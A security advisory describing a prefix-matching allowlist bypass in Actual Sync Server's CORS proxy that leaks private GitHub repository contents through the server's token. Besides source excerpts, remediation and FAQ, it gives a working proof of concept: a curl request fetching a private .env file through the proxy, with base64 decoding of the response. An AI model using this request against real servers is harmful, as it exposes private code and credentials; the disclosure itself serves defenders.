GHSA-m62c-5q34-f3cf: Infoleak

Published Oct 7, 2026
·
Updated

Summary

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUALGITHUBTOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.

The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:

text https://api.github.com/repos/acme/plugin-private/contents/.env https://api.github.com/repos/acme/plugin-secrets/actions/secrets https://api.github.com/repos/acme/plugin-internal/releases

Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUALGITHUBTOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.

Affected Endpoint

- GET /cors-proxy?url=...

This endpoint is mounted only when:

js if (config.get('corsProxy.enabled')) { app.use('/cors-proxy', corsApp.handlers); }

Source: packages/sync-server/src/app.ts:68-70

Details

The CORS proxy is disabled by default but can be enabled through ACTUALCORSPROXYENABLED. The GitHub token is configured through ACTUALGITHUBTOKEN:

js github: { token: { doc: 'GitHub Personal Access Token for API authentication.', format: String, default: '', env: 'ACTUALGITHUBTOKEN', }, }, corsProxy: { enabled: { doc: 'Enable the CORS proxy endpoint.', format: Boolean, default: false, env: 'ACTUALCORSPROXYENABLED', }, },

Source: packages/sync-server/src/load-config.js:280-296

The proxy fetches the plugin allowlist and stores repository URLs:

js const response = await fetch( 'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json', ); ... const plugins = await response.json(); allowlistedRepos = plugins.map(plugin => plugin.url);

Source: packages/sync-server/src/app-cors-proxy.js:43-50

The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:

js for (const repoUrl of allowlistedRepos) { const { pathname } = new URL(repoUrl); const [, repoOwner, repoName] = pathname.split('/');

if ( targetUrl === repoUrl || targetUrl.startsWith(repoUrl + '/') || (hostname === 'api.github.com' && url.pathname.startsWith(/repos/${repoOwner}/${repoName})) || ... ) { return true; } }

Source: packages/sync-server/src/app-cors-proxy.js:84-99

For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.

After this incorrect allowlist decision, the proxy attaches the server's GitHub token:

js const githubToken = config.get('github.token'); if ( githubToken && (url.hostname === 'api.github.com' || url.hostname === 'raw.githubusercontent.com' || (url.hostname === 'github.com' && url.pathname.includes('/releases/'))) ) { requestHeaders['Authorization'] = Bearer ${githubToken}; requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System'; }

Source: packages/sync-server/src/app-cors-proxy.js:192-201

Therefore the vulnerable flow is:

1. A public plugin repository is allowlisted, for example https://github.com/acme/plugin. 2. The same owner has a private repository with a prefix-matching name, for example acme/plugin-private. 3. The Actual server has ACTUALCORSPROXYENABLED=true. 4. The Actual server has ACTUALGITHUBTOKEN with access to acme/plugin-private. 5. Any authenticated Actual user calls:

text /cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env

6. isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin. 7. The proxy sends the request to GitHub with the server token. 8. The response is returned to the low-privileged Actual user.

PoC

Preconditions

1. ACTUALCORSPROXYENABLED=true. 2. ACTUALGITHUBTOKEN is configured and can read a private repo. 3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo. 4. The attacker has any valid Actual session token.

Example:

- Allowlisted public repo: https://github.com/acme/plugin - Private target repo: https://github.com/acme/plugin-private - Private file: .env

Manual Reproduction

Step 1: Request a private repo file through the Actual CORS proxy:

bash curl -s "http://TARGETHOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \ -H "X-Actual-Token: LOWPRIVILEGEDACTUALSESSION"

Vulnerable result:

json { "name": ".env", "path": ".env", "encoding": "base64", "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4=" }

Step 2: Decode the returned content field:

bash echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d

Example decoded output:

text PRODDBPASSWORD=...

Python PoC

Attached separately as pocactualcorsproxygithubprefixbypass.py.

The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.

Impact

- Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist. - Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed. - If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix. - Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.

Recommended Remediation

- Parse and compare GitHub API repository path segments exactly. - Replace:

js url.pathname.startsWith(/repos/${repoOwner}/${repoName})

with an exact boundary-aware check:

js url.pathname === /repos/${repoOwner}/${repoName} || url.pathname.startsWith(/repos/${repoOwner}/${repoName}/)

- Apply the same boundary discipline to every allowlist branch. - Add regression tests showing that an allowlisted owner/plugin does not authorize owner/plugin-private. - Consider never attaching ACTUALGITHUBTOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.

Affected Software

1 affected componentFixes available
npm/@actual-app/sync-server<=26.6.0
26.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@actual-app/sync-server to a version that resolves this vulnerability.

    Fixed in 26.7.0
  2. Compensating control

    Fix every GitHub allowlist branch to parse and compare owner/repository path segments with an exact boundary, so an allowlisted repository such as owner/plugin does not authorize owner/plugin-private, plugin-secrets, or plugin-internal.

  3. Compensating control

    Do not attach ACTUAL_GITHUB_TOKEN to user-driven CORS proxy requests unless the requested repository exactly matches an allowlisted repository.

  4. Operational

    Add regression tests demonstrating that an allowlisted owner/plugin does not authorize owner/plugin-private.

Event History

Oct 7, 2026
Advisory Published
via GitHub·02:00 PM
Data Sourced
via GitHub·02:00 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Exposure requires the CORS proxy to be enabled and ACTUAL_GITHUB_TOKEN to be configured. The affected proxy endpoint is available only when corsProxy.enabled is enabled, and the impact occurs when it forwards GitHub requests with that server token.

2

What does an attacker need to exploit this?

An attacker needs to be an authenticated Actual user and submit a crafted GitHub API URL to GET /cors-proxy?url=.... The URL must begin with an allowlisted repository path while targeting a similarly prefixed but different repository.

3

What could be exposed through the server token?

An attacker can read private GitHub resources that are reachable by the configured ACTUAL_GITHUB_TOKEN. Examples include repository contents, Actions secrets endpoints, and releases in repositories whose names begin with an allowlisted repository name.

4

What can be changed if patching is not immediately possible?

Disabling the CORS proxy removes the affected endpoint because it is mounted only when corsProxy.enabled is enabled. Removing ACTUAL_GITHUB_TOKEN also prevents the proxy from automatically attaching that GitHub token to requests.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203